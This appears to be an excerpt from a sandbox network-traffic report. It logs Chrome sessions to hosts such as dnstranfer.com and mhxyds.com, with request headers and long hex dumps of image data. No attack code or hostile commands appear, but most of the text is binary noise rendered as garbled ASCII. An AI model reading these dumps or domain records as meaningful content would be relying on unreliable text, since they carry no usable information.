af c0 ef df be a4 a8 9a 93 ab a2 a9 65 a6 ca 6e 1a 24 91 0c db 8f 7b 6f 1a cf f8 02 cf ae 79 e7 70 63 04 42 6c 12 9a d5 76 
e8 64 f0 f2 fa ab f3 fe 5e 42 9d 49 f6 f2 cb be 5e 45 7a ae 57 71 68 fc 21 93 a8 25 6b ad 3c c3 02 70 c3 87 43 4f 54 74 d6 
c7 e9 7f 1e f6 dd 14 71 e5 bb 0e 71 91 cf 6c 1d a3 b9 44 75 50 6c 9c 7a 20 19 8e d9 ec 79 c1 78 e6 cf 91 20 74 79 ce a4 
95 d2 04 1a cb 0f 60 f9 f7 7d ce fe 55 b5 75 96 3b 
Data Ascii: XY-/C^&la>D`$zAB$dQZRTgP8cI/95:M~\:3}MIB|u9gen${oypcBlvd^BI^EzWqh!%k<pCOTtqqlDuPlz yx ty`}Uu;

2022-08-11 03:43:02 UTC 11854 IN Data Raw: 93 db b0 ac d5 38 8a 6c 8b bb 54 64 72 7f 62 ed e2 30 30 3f 75 18 23 9f 6a b7 13 1e eb 1c 72 46 ba 94 f0 ff 00 
07 ec ff 00 27 4c 6d 32 0e 45 bb f0 de e0 c2 7c e5 03 51 b7 c7 c0 06 43 f8 9c 09 fc 3d 3e 6f de d3 af dc 75 78 5d a1 45 48 
9b 65 a4 7a dd c9 5b 82 f3 1a a8 f6 ce 2e b6 a9 a4 c7 e5 b7 cd 7c 85 9e 4c 96 50 30 2c 5c ea 3a bd 9a 6c 36 ad 6b 46 7a 
78 84 64 f0 af fb 1d 57 dc 2e 6c 4e 68 b1 28 22 08 a7 fd 0a b5 16 fc 06 a0 d4 05 f5 f1 a1 e1 5e 91 19 ac ee 13 01 89 92 ba
ae 55 c5 ed 5c 00 ac af 49 6b 5b d1 92 75 42 f2 d6 65 8b 11 e5 97 5d cc 64 f3 6b 7b 3d b2 8e 92 13 f3 e8 29 b8 c9 15 9e 
d6 62 d5 93 1d 3f 97 44 8f ae b7 be 1f b3 bb 27 31 d9 1b ef 1b 96 a8 d9 94 71 55 c7 b4 29 de 68 0c 95 58 fc 5c 6f 2d 46 
6a 6a 56 4f f2 6a 3a a3 18 54 7e 18 a5 b9 d5 63 
Data Ascii: 8lTdrb00?u#jrF'Lm2E|QC=>oux]EHez[.|LP0,\:l6kFzxdW.lNh("^U\Ik[uBe]dk{=)b?D'1qU)hX\o-FjjVOj:T~c

2022-08-11 03:43:03 UTC 12117 IN Data Raw: 61 e9 29 7a b7 aa ab 29 6a 32 78 b1 3b 88 7b 03 b8 51 e3 8e 86 96 be 4d 5a f2 34 1b 7a b6 a3 cb 56 4e a4 7a 
96 51 fa 50 5a 31 bb 49 77 99 90 c4 0e b2 49 ad 78 0f ca bc 7c ba cc 78 ec 61 d9 92 d3 6d b3 2d fd 5d 5d 37 57 2c 3e 35 
dd 52 85 55 98 00 a2 db 8f 88 8c 0c 87 f8 c7 45 17 b9 3b 0e 4e e1 ec 5a ba 2c 7c a9 98 da 9b 5f 33 16 33 25 e0 55 a7 6d 
f3 be 26 60 f8 5d b9 e6 8a da b6 be 0f c7 f7 39 22 2f 19 a7 84 a5 ae de c5 9b 3c 4d b5 40 62 61 c5 48 fd b8 f9 75 14 f3 bf 
31 5d ee 3b e8 bf c0 b3 2d e1 cc aa 08 49 25 73 44 78 56 b4 d0 2b 92 6a 7a 40 fc 8f f9 39 bb be 3e f4 f4 dd 6d d7 95 d0 
55 76 97 64 b5 6d 34 4e 28 e9 cd 4c 6f 5e 8d 16 47 2b 53 32 28 9a 96 99 11 88 a5 e4 08 94 00 b6 00 7b 7b 6f d9 44 ae af 
20 25 c7 0c 9f 2e 99 dc f9 d2 7e 4c b3 93 65 63 a4 b0 
Data Ascii: a)z)j2x;{QMZ4zVNzQPZ1IwIx|xam-]]7W,>5RUE;NZ,|_33%Um&`]9"/<M@baHu1];-I%sDxV+jz@9>mUvdm4N(
Lo^G+S2({{oD %.~Lec

2022-08-11 03:43:03 UTC 12133 IN Data Raw: 34 f1 d5 55 b5 46 83 e5 7a 77 2d e3 d0 d7 5e 3e 9e d3 d9 c2 ba b4 c8 b5 1d 1f 73 0e e5 75 04 45 ec 26 f0 d8 
0a 00 29 80 30 06 41 e8 12 df b8 9c 1e 4b 75 d2 c9 b0 72 43 ae bb 4f 2b 4d 25 66 69 31 0f 27 fa 3a dc 8f 17 ee 45 43 ba 
70 aa 23 92 92 a9 14 8f b8 96 9d 91 74 90 4f 37 f6 82 f3 52 5d cc b0 b1 0a 1b 03 cb 80 e8 4b c8 bb d4 db 85 94 76 fb f3 
09 d2 87 e2 c1 14 3e 45 40 fe 60 f4 b8 eb ee da cb ee 8d c7 b7 ba 13 7a 6d f4 d8 72 d6 56 53 e5 37 a6 e2 97 29 4f 1d 16 
ee 92 8d 4c 94 f5 78 ea d0 64 a7 c8 e1 e1 a5 81 63 a2 a5 8d 95 d2 00 15 c9 91 8b 7b 4e 27 98 92 09 20 d3 a3 db eb 0b 
58 6f e1 92 c0 2f d3 31 a6 09 26 b4 04 d4 1c 8e 3f 61 cd 3a 31 5d bd db ef 5d 95 83 a8 fa 8a 81 d3 17 83 34 df 67 8a c7 
04 12 d4 e4 27 82 d5 5b 8b 38 f1 0d 12 47 52 09 58 45 ed 45 
Data Ascii: 4UFzw-^>suE&)0AKurCO+M%fi1':ECp#tO7R]Kv>E@`zmrVS7)OLxdc{N' Xo/1&?a:1]]4g'[8GRXEE

2022-08-11 03:43:03 UTC 12149 IN Data Raw: bd 25 97 dc 0e 58 62 51 36 84 02 be 4a 9f b3 fb 4e 1d 18 3e b3 d8 54 bf e8 f7 17 80 df 92 e4 32 db bb f8 a4 
b9 0d ad bb 1e bd ff 00 bf 18 05 96 2a 45 9a a6 6a 85 68 63 18 ad be 69 16 58 e9 dc 9f 2c b5 1a 14 dc 92 0c 8d b1 6b 76 
d1 c3 a2 7b 9d ff 00 6e be bb 4b 9b 48 04 71 00 05 28 a3 3f 93 1e 98 f2 1b c3 bf 7a e0 d4 63 b6 ef 7d ee 8d c3 05 4d 76 
4f 33 53 4f b9 31 d4 50 a5 34 d2 18 a8 ea 2b aa ea 4c 93 ad 7d 4e 5e 90 85 a3 12 4f 03 44 53 8b 7b 20 6b 49 3c 42 33 
c7 a1 0d b6 eb 6d 3a 80 14 53 e5 4f f3 9e 9b b6 97 61 ee ed 85 51 8b dd 3b 93 7f 53 e2 77 46 de dd 90 ee 3d bf b1 77 8e 
d5 a9 59 37 54 a9 fe 52 9b 97 3f 92 35 b4 f8 75 c5 52 b7 fc 07 2b 55 33 b4 96 44 4d 4c 18 2c 68 cc 71 f8 6d f8 87 57 d7 
1c 53 24 b1 7f 2a 74 a3 de f9 ff 00 92 9f 27 37 ff 00 fa 46 
Data Ascii: %XbQ6JN>T2*EjhciX,kv{nKHq(?zc}MvO3SO1P4+L}N^ODS{ kI<B3m:SOaQ;SwF=wY7TR?5uR+U3D
ML,hqmWS$*t'7F

2022-08-11 03:43:03 UTC 12165 IN Data Raw: fa b0 14 14 af 4d 9b 7b 6f e4 37 09 69 31 8f 34 ca ee 56 4c 84 c1 bc 41 57 d2 26 52 e1 3e e1 af 7d 2e 78 e3 e9 
ef 5d 5b a1 f7 67 e1 b6 d7 5b f9 73 75 d5 20 e4 65 8a 58 e4 ac aa 94 49 2d 63 cc ba 1e 59 a5 b8 50 62 45 21 54 00 a3 83 
f5 f7 ee bc 7a 5f fc 8c 7c 96 fa eb ed 81 d8 1b 7b 20 cd 85 9f 1a 98 ad c3 55 4f 29 7a 88 7f 87 cb 2d 3c 35 ad a4 06 11 ca 
ab 67 61 76 e2 c2 fe fd d7 ba 2c 7b 7b 03 f7 5a 69 e7 65 a3 a1 87 4d 4d 75 54 a7 54 0b 4f 17 f9 b9 a5 7e 15 16 ac 36 a8 
d1 75 48 ff 00 56 55 3c 7b 76 3e 07 aa 32 ea a6 7a 3c 3d 8f b8 60 8b a9 b6 a6 52 87 29 5f 8b a4 a7 c1 52 50 ad 65 3c 62 
97 21 3d 32 bd 4d 0f 89 14 96 f0 c3 52 29 35 47 22 9f 21 b9 fa 7e 5d f5 ce 3a d7 87 e7 5e 8a 0d 26 27 27 9f 8a 3f ba 32 
ed 0d 9a 8a 5e a2 be ae 4d 35 99 b7 46 32 7a a6 90 
Data Ascii: M{o7i14VLAW&R>}.x][g[su eXI-cYPbE!Tz_|{ UO)z-<5gav,{{ZieMMuTTO~6uHVU<{v>2z<=`R)_RPe<b!=2
MR)5G"!~]:^&''?2^M5F2z

2022-08-11 03:43:03 UTC 12181 IN Data Raw: e2 2a 78 46 58 b3 56 4f c1 93 73 65 a3 fd e8 d6 ff 00 e6 b1 94 0c 0c 30 46 3e 81 80 06 d6 f7 ae bd f2 e9 31 94 
cf 53 89 df 25 4c 90 18 e3 46 79 b2 b9 9f f2 e6 2c a2 ea d4 eb 21 35 0e ec 7f 4c 6b 65 4f f6 3e fd 5e bc 4e 3a 0c b3 5b c8 
e9 7c b5 76 49 a1 12 42 d7 c9 e5 44 73 cf 15 38 36 5a 7a 1a 6b 3a 51 ff 00 55 01 1e 40 3f a7 d7 dd 24 e0 3a f7 40 36 5b 
7c 45 14 55 d3 60 60 11 43 50 1a 6c 8e e7 c9 3b cb 3d 4a 02 15 a3 1e 76 67 68 d8 b0 20 ca cb a7 4f a6 c3 8f 6c f5 ee 90 
d1 54 d6 ee 79 62 a7 c5 43 2e 41 d0 79 bf bc 12 eb 78 58 ff 00 cd 89 1b f6 eb 1a 9e e3 4e 91 a6 3f c9 e7 df ba f7 53 71 
d8 4d ad 8f c9 34 b3 53 54 ef fd e1 13 6b 8b 1f 48 ac f1 a4 80 12 57 25 3a 03 4f 47 0c 7f 53 76 04 fd 3d fb af 74 af 9e 9a 
b3 35 24 50 6e 4a 91 51 18 75 9a 9f 60 6d e7 7f 
Data Ascii: *xFXVOse0F>1S%LFy,!5LkeO>^N:[|vIBDs86Zzk:QU@?$:@6[|EU``CPl;=Jvgh OlTybC.AyxXN?
SqM4STkHW%:OGSv=t5$PnJQu`m

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:03 UTC 12197 IN Data Raw: b5 0d 69 96 a6 17 31 a4 d4 fa 01 3f b3 1a 8e 39 1e ef 27 15 e9 ab 35 7b b1 2b 30 c2 9f f0 f4 92 ac cc 49 93 68 
f0 f4 55 86 96 9e 18 63 a7 96 a2 1e 63 d2 ab c4 4a cb 7d 31 bd c8 51 f5 1f 9f 6d f4 65 1c 5e 1d 31 d6 38 27 a4 c0 a7 db 
c5 1c 6b 2c ca d0 a4 65 ed 54 ed 27 0d 50 ad 72 c4 01 cf 1e fc 38 e7 a5 14 2e 3e ce b8 c1 45 58 6a a1 85 aa 31 94 8d a1 
9d 3c 6c 6b 32 75 51 9f 51 69 c5 45 c5 1a 69 fa 48 b6 37 e3 df ba df 84 78 f9 74 d1 5d 53 4d 0b 35 0d 15 65 54 d2 4f 29 
5a 88 29 a7 12 cd 22 f3 a9 67 c9 48 1e 1a 5a 72 df 86 0c 01 fc 7b a3 ae a0 07 4f c2 9a 35 31 c0 ea 46 33 1f 90 ad d5 4d 
4b 48 22 48 96 40 d4 78 88 e4 90 96 d2 c6 3f bf c8 4b ae 57 77 6b 7e 83 14 67 fd 4f ba 78 47 cf aa cd 2a 80 40 15 e9 41 
81 c2 1c 66 07 69 e7 6a 11 26 cb 4f 88 85 68 31 fa 99 
Data Ascii: i1?9'5{+0IhUccJ}1Qme^18'k,eT'Pr8.>EXj1<lk2uQQiEiH7xt]SM5eTO)Z)"gHZr{O51F3MKH"H@x?KWwk~gO
xG*@Afij&Oh1

2022-08-11 03:43:03 UTC 12213 IN Data Raw: ca d8 1d 99 89 93 72 66 83 14 38 fc 12 fd 86 1e 9d ee 42 c9 5f 94 0a ed 30 47 e5 ac 75 10 0d b9 f6 c7 d9 d6 
c2 f0 24 d1 7a 0a f7 66 46 0c b4 d1 56 f6 e6 e1 93 26 d1 01 f6 3d 71 b6 59 a9 60 46 50 0c 69 58 f0 48 f1 55 35 ec 0b c8 
c8 ff 00 53 6b f1 ef d4 af 1e bc 18 ad 74 9e b2 63 f1 1b eb 77 c1 0d 06 da c6 c1 d7 db 37 49 0b 4d 4c 91 25 6c b1 81 fa aa 
6b e7 55 66 21 79 27 eb ef dd 6b a7 6a 0a 5e bb eb 70 29 e9 12 7e c0 dc f3 7e b5 32 2c 94 fa b8 e5 aa e4 0e b6 bf f5 3e 
fd d7 ba c9 8c c8 6e 7d e7 ba f0 31 6e 2c 84 34 34 69 5f 40 d1 e0 b1 80 53 34 88 92 28 71 34 2a c1 b4 c6 38 62 47 16 f7 
ba 1f 4e bd d5 dd 7c 9f ae ae eb 1f e5 c3 4b 82 c4 d4 8c 5e 5b b4 2b f1 34 fe 40 35 48 d4 79 5a ff 00 b9 9a 2d 3f a9 9f ed 
07 23 eb 6f 7e a1 f4 eb dd 50 16 07 61 d5 e4 f2 71 
Data Ascii: rf8B_0Gu$zfFV&=qY`FPiXHU5Sktcw7IML%lkUf!y'kj^p)~~2,>n}1n,44i_@S4(q4*8bGN|K^[+4@5HyZ-?#o~Paq

2022-08-11 03:43:03 UTC 12638 IN Data Raw: 16 96 39 e3 86 9a 08 09 fb 9a 8c f6 e0 82 7a 7a 69 df ea 13 13 b7 81 19 bd c5 59 29 37 8a 4a 96 a4 a4 1c 16 
6f 77 e1 d7 b8 74 dd 90 dd 58 aa 79 d2 6a 08 e5 a9 aa a6 56 4a 6c c6 e6 6a 68 a7 84 38 3e 54 c5 62 a0 79 28 31 71 2b 
71 a8 ac ae bf d9 63 f5 f7 ae bd d0 21 bd 3b 1a 86 49 9c 2c f5 99 ba 98 91 8c bf 6e 87 23 38 62 0e 9d 2e f2 47 4b 0d 25 
39 fe dc 8c ac e3 e8 be f7 d7 bc fa 34 bf 0d f6 95 6f 66 6e 5d 9d 8a cc 53 45 1d 16 6b 7b 62 6a 32 f2 2d 40 9a 26 da d8 19 
d3 2d 5d 3b 28 55 48 ad 1d 2f a9 39 03 dd 49 a7 5a 65 06 32 7a 05 3b eb 7f 6f 0e c4 ef ce ce ec da 7a ec 76 d9 db f5 7b 
af 21 16 3a 5c a7 92 78 b2 d4 18 29 e4 a6 c7 d3 ac 31 dd 84 55 94 b0 aa 8b 0e 6f 61 ef de 10 7e 98 b6 94 ac 98 3d 1f ef 
81 ff 00 26 76 96 eb c3 9e 8a ec 89 63 ac eb 7d c8 2a a9 
Data Ascii: 9zziY)7JowtXyjVJljh8>Tby(1q+qc!;I,n#8b.GK%94ofn]SEk{bj2-@&-];(UH/9IZe2z;ozv{!:\x)1Uoa~=&vc}*

2022-08-11 03:43:03 UTC 12654 IN Data Raw: eb dd 4d a5 a7 93 3b 50 d1 a4 75 d9 5a c5 61 20 86 9e 00 b4 14 62 e1 07 9e 1a 42 f4 74 88 ac c0 13 39 13 0b 
fe 9b 5c 8f 75 ef 2f 97 42 b6 3f aa f7 35 6c 0b 36 71 93 13 8d 30 dd a8 a8 a5 88 d1 cf 00 d2 5a 5a bc b4 a1 20 a5 8d 14 
7a 94 58 9b ff 00 4f 7e eb d8 f4 e9 6d b1 37 8e c0 c1 e6 31 5b 1b 6a 67 69 ce e2 a2 ae 7c b6 32 af 19 24 cf 8b a5 cb d2 
da 7f b5 a8 c8 96 2b 53 59 58 e8 04 65 58 fe e0 00 72 7d e8 11 c0 75 76 57 23 c4 61 83 d0 b1 f3 a6 8e af 70 cd b0 3b 83 
21 9e aa a4 d9 3d 8b b6 19 32 3b 77 1c ad 4c 13 b1 70 4b 15 36 6e 9a 68 a1 54 8f c9 5d 0f ef 39 61 76 55 7b 7e 93 ef 7d 
54 70 38 e9 27 d3 54 34 34 5b 0a aa b7 1b 49 06 3a 4a ba 59 aa 66 48 e4 37 86 45 a7 92 3a 6a a9 ac 19 83 a4 8c a4 71 
6b fd 6d ef dd 6b a0 93 11 d7 11 d1 0f e2 85 1e 7a d2 b5 12 
Data Ascii: M;PuZa bBt9\u/B?5l6q0ZZ zXO~m71[jgi|2$+SYXeXr}uvW#ap;!=2;wLpK6nhT]9avU{~}Tp8'T44[I:JYfH7
E:jqkmkz

2022-08-11 03:43:03 UTC 12670 IN Data Raw: 98 20 c6 6e fa 88 c2 ee 4c ed 1e 1e 0a 84 01 a9 b1 8d 4b 49 2b 46 2d 65 f2 b9 9e a0 b5 87 d3 4a ff 00 af ef d9 
f3 e9 74 e6 08 d0 18 97 27 fd 5e 5d 4f ad 4c 0d 3c 2b 0c 54 b2 d5 54 c4 89 1a d7 56 88 f2 15 92 46 ae 85 c2 e4 b2 ff 00 
78 62 89 82 f3 1c 61 01 fc 5b de a9 fb 7a 2b 9a 76 a3 0d 5d a7 8f fc 57 4f 7b 8b 2d 5d 4d d7 f4 55 71 d4 0c 43 56 34 50 
33 51 c1 09 94 45 4d 2b 47 1c 50 05 43 10 92 a2 10 2e 74 de e7 82 3d ec d4 f0 3d 31 6f 28 33 00 45 70 7a 07 28 a9 f2 55 
f4 a8 a2 05 a0 35 53 37 92 af 24 ee 2b a7 50 6e ae ff 00 72 d2 48 fe 5f e8 96 1c f0 3d fa bd 2e 38 c5 7a 10 31 dd 79 4f 04 
42 a6 aa ae a2 69 19 43 f8 04 6d 16 90 45 d9 a2 a7 85 91 e6 1c f2 64 0a 00 e7 9f 7e eb de 5d 3b d3 d5 e0 f1 45 52 8d a9 
27 6a 76 2d 1c 94 b3 07 95 66 00 82 2a b2 80 08 e9 
Data Ascii:  nLKI+F-eJt'^]OL<+TTVFxba[z+v]WO{-]MUqCV4P3QEM+GPC.t==1o(3Epz(U5S7$+PnrH_=.8z1yOBiCmEd~]
;ER'jv-f*

2022-08-11 03:43:03 UTC 12686 IN Data Raw: a9 07 a4 17 c8 cf 9e 9d 13 f1 db 07 53 93 de 7b df 01 89 4a 33 50 f1 a5 66 42 3a 7a 8a 99 a2 26 e9 4f 49 46 
d1 4f 34 85 87 05 ee 18 f3 6e 7d 9d 6d 9c ae f7 20 3d c4 f4 63 f2 af f9 7f c1 d0 53 78 e7 c5 b3 25 2d 2c 0d 07 f4 87 fd 03 
d5 43 ff 00 d0 44 bf 1c 3f e3 a6 e5 ff 00 8f b3 ed bf e2 d4 df f1 67 ff 00 9d e7 fc 02 ff 00 8b 7f f8 7e 9f f6 af 62 bf ea be df fe 
fb 1f d9 e8 f3 e3 eb c7 a0 57 fa e3 6e 7f f2 8e df da ea e2 bc 3d 3e 1e bf ff d7 d5 8f 37 91 35 94 09 90 ad 78 b2 18 ec d8 
35 67 18 a5 31 f9 0c 5e 62 30 23 6a 8a 5d 0a 0d 2d 04 b2 0e 62 fd 2d 6e 3d ce 65 7c 5c f9 1f f5 63 ac 3f b6 b4 8e 21 a9 
85 24 04 e7 c8 8f 9f af c8 f4 88 a8 fe 2b 8d a4 54 81 9e a2 69 0a cf 3d 50 60 00 79 38 58 95 50 04 44 50 3e bf a8 fb 6a 44 
78 80 28 32 7a 51 2b 5a 48 62 50 68 
Data Ascii: S{J3PfB:z&OIFO4n}m =cSx%-,CD?g~bWn=>75x5g1^b0#j]-b-n=e|\c?!$+Ti=P`y8XPDP>jDx(2zQ+ZHbPh

2022-08-11 03:43:03 UTC 12702 IN Data Raw: 4d 95 be b7 0a 54 55 e5 ea 62 a1 8a ac 06 19 1d d3 51 e6 d1 19 60 e4 d1 62 a8 9d 96 2b a8 b7 2e 48 1f 51 
ee ac e0 82 3a f7 4f f4 94 7b 23 0f 2d 3d 3d 32 57 ee ac 9c 51 f8 e7 4a 18 d6 2c 6c d3 db 4f 8d 67 3f a1 2f fd 04 8c 07 e3 
db 5d 7b a5 02 4b 90 a5 80 ff 00 11 aa c3 ed 7c 55 41 29 15 1d 0d 41 a4 ab 85 18 58 4a d9 43 13 d7 d4 ce a0 dc 46 94 
c3 51 e0 1f 7e eb dd 71 c4 ed da d9 71 97 db 18 5a 8c 96 64 4e f2 be f4 dd f3 1c 26 3d 60 2e 18 45 0c 35 c6 a6 ab 21 08 
5f ab 46 88 ec 3e 82 fe fd d7 85 2a 2b c3 a5 1e e6 db b5 78 3c 0c 5b aa 1c ec 39 6d d3 b7 67 81 a7 93 1b 4d 26 27 1a f4 
1e 89 98 c3 4b 93 93 cb 91 92 9d c1 0a c0 02 c0 7b f7 5e fb 3a b6 be bc ec 4a 1f 9b 7f 12 72 78 ea 3f 0c df 20 7a 77 0c 7f 
85 51 86 8e 96 4c b6 06 24 2d 45 4a b5 11 09 2a 2a 63 ad 
Data Ascii: MTUbQ`b+.HQ:O{#-==2WQJ,lOg?/]{K|UA)AXJCFQ~qqZdN&=`.E5!_F>*+x<[9mgM&'K{^:Jrx? zwQL$-EJ**c

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

229 192.168.11.20 51255 47.243.100.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:02 UTC 11692 OUT GET /lipgupiao/assets/images/btn-bg.png HTTP/1.1
Host: dnstranfer.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://dnstranfer.com/lipgupiao/assets/css/popup_skycodec.css
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

23 192.168.11.20 65104 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 359 OUT GET /js/iframeresizer.min.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

230 47.243.100.207 443 192.168.11.20 59034 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:02 UTC 11853 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:43:02 GMT
etag: "487ce-62f0cdd2-202efb;;;"
last-modified: Mon, 08 Aug 2022 08:48:18 GMT
content-type: image/png
content-length: 296910
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:43:02 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:43:03 UTC 12085 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 ee 00 00 02 10 08 06 00 00 00 de 85 eb a3 00 00 
00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 
00 00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 04 87 54 49 44 41 54 78 da ec fd 69 90 6c 5b 
76 df 87 fd d6 da fb 9c 93 59 75 a7 37 76 bf ee 46 63 20 08 10 1c 81 06 40 80 24 40 00 8d c6 48 53 20 45 87 a5 0f 36 29 
99 a4 48 93 01 85 68 85 c5 0f 92 1d e1 21 42 61 39 38 78 20 4d 5b a6 c5 20 24 51 a4 68 d2 0a 5a b6 65 91 21 c9 32 27 
05 41 11 04 40 90 98 81 46 0f ef bd 7e ef dd 9a 32 f3 9c b3 f7 5a fe b0 4f 66 65 55 65 65 d5 9d de 7d c3 fe 35 0a 75 5f 65 
56 56 0e fb ec fd df 6b af f5 5f e2 ee 54 2a 95 4a a5 52 a9 54 
Data Ascii: PNGIHDRpHYs cHRMz%u0`:o_FTIDATxil[vYu7vFc @$@HS E6)Hh!Ba98x M[ $QhZe!2'A@F~2ZO
feUee}5u_eVVk_T*JRT

2022-08-11 03:43:03 UTC 12101 IN Data Raw: 4b 7c 5f 89 92 cb cd a9 2f db 3f bb 49 b4 6f 7f f7 69 53 b8 3d 4e b6 3d dc 65 8f 10 7f 1a 0e 31 75 0c 56 de bf 
c2 7d f7 56 49 28 9b 60 29 4a bc a4 77 58 29 fc 94 a5 42 ca 68 b3 22 44 90 d6 b0 36 e0 b1 41 25 a0 66 08 82 49 73 5e cf 
14 1b 08 5d 89 a4 af 46 7c 79 82 f6 27 68 1a 80 88 b4 87 d0 dd 85 66 06 d2 e1 5e f2 e6 3d 83 67 2b e6 1a ee 88 e7 22 
ea 3d e1 63 c6 57 06 2b 87 3e e1 ab e2 2c e3 4b 60 cc f8 2a 93 17 c5 69 26 8f 82 8f 0a bd c0 ca 09 2b 27 8f 86 25 3b af 
b4 72 db a4 6e 89 cb 95 a6 4b fb 0a 48 2f ce 79 e7 26 0d 97 45 f8 65 54 ca 09 26 e6 74 5d c9 77 b7 2d a7 99 cd a6 00 d9 
cc 71 75 b6 f9 80 0a f7 f5 a6 14 d1 f2 3d 64 da 2e 12 e2 56 da c2 76 f4 b2 7e 5d 5c f4 55 d1 79 44 42 c0 56 4b 2c f5 dc fb 
ee ef 61 fe 8d df 02 e9 b8 14 cb ec f4 76 55 72 03 9e 
Data Ascii: K|_/?IoiS=N=e1uV}VI(`)JwX)Bh"D6A%fIs^]F|y'hf^=g+"=cW+>,K`*i&+'%;rnKH/y&EeT&t]w-qu=d.Vv~]
\UyDBVK,avUr
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2022-08-11 03:43:03 UTC 12590 IN Data Raw: f1 cf 66 88 8d 82 53 43 72 19 67 81 c9 94 e0 07 d4 d6 95 b1 9a 4c ca 1e b5 35 43 5c a2 de b5 8b 3d df f0 6d 
cc 7f ee 67 b1 fa 83 3f 4a fb ab bf c9 e6 a9 55 9a a3 97 60 73 64 ce 74 84 34 64 3a 69 69 8c a3 12 68 67 91 5c 27 fc b6 
e3 cd 05 3a de 12 8c 63 10 33 8f 25 60 a6 35 e9 c1 d3 4c a6 53 ea 76 86 20 4c 24 95 c4 bc 54 10 8f 2c 3d 3a 91 22 56 40 
4c 45 96 0c 71 8a b6 c2 e8 fa eb 71 cb 4b d0 95 c8 fa 68 52 49 47 95 52 08 42 cb f4 bd b7 32 b7 39 61 46 47 94 0a 11 f3 
a8 67 e9 fc ea bd 78 ce 7b 72 34 a4 d4 61 2d 38 ab c4 d0 62 ac a5 8b ca ea db df 4e dc ca 24 db b0 eb c8 e5 3b 9d b4 f6 
63 75 7d 0c f5 60 7b 23 7a c4 f5 a9 af 0d 32 74 36 52 f5 0b 4f 56 f7 a4 03 de 69 0f af 0e b3 80 57 d0 84 15 4b 66 9b da 63 
9e b4 21 f4 02 e3 f5 e3 84 e3 0f 96 82 cd 0b 79 d6 a1 
Data Ascii: fSCrgL5C\=mg?JU`sdt4d:iihg\':c3%`5LSv L$T,=:"V@LEqqKhRIGRB29aFGgx{r4a-8bN$;cu}`{#z2t6ROV
iWKfc!y

2022-08-11 03:43:03 UTC 12606 IN Data Raw: ee 62 ee 59 7b 11 3f c4 ea 1e 36 16 1b 66 0e 64 0c 87 3f f2 95 0c 5f fd 4a 42 67 18 74 01 21 d1 3d 7c 2b 3a 1e 
e3 15 52 80 74 f8 00 69 90 f1 93 19 4c d6 59 fc e4 4f 61 eb be bb c9 d3 19 dd 5f bd 99 f8 15 9f 85 57 61 fa c0 49 da 5b 6f 
43 a3 92 e6 0c cd b3 9f 8e 4e d6 c1 75 b4 16 ea 2e 23 ed 0c b7 b8 48 0c 99 b5 1f fe 4d 4e bf fe c7 71 c3 48 13 cb 70 6e 
cb 94 89 a5 2e 42 35 de 62 e5 db 5f 4f 7c cd 77 95 a9 65 2c ae 48 8d 2a b3 e2 3c 8d f5 30 56 c3 c6 73 9f 49 5b c1 30 96 
e5 27 18 98 17 60 19 a2 85 f1 9b 7f 97 8d df ff 5d 06 52 7e cf ba c0 25 bf fc f3 ec fa cc 97 a2 dd 43 ef 1f ea db c1 64 0b 08 
a4 aa 10 c6 cc ee 3a 46 3b d9 a2 72 0d 5e 8b d5 72 10 ca 54 59 12 ee bc e2 c3 e8 b6 96 f4 91 e2 dd a9 44 10 8b b1 15 
84 4c 6c 95 d8 45 34 81 cd 83 f2 66 b6 c3 f8 e2 
Data Ascii: bY{?6fd?_JBgt!=|+:RtiLYOa_WaI[oCNu.#HMNqHpn.B5b_O|we,H*<0VsI[0'`]R~%Cd:F;r^rTYDLlE4f

2022-08-11 03:43:03 UTC 12622 IN Data Raw: 54 9f ed e9 28 25 eb 00 bb 3c d9 2f e5 a9 61 fc ba d1 4a d3 10 85 44 87 f8 12 4c 6b 3d f9 53 d5 18 e0 f4 96 7d 
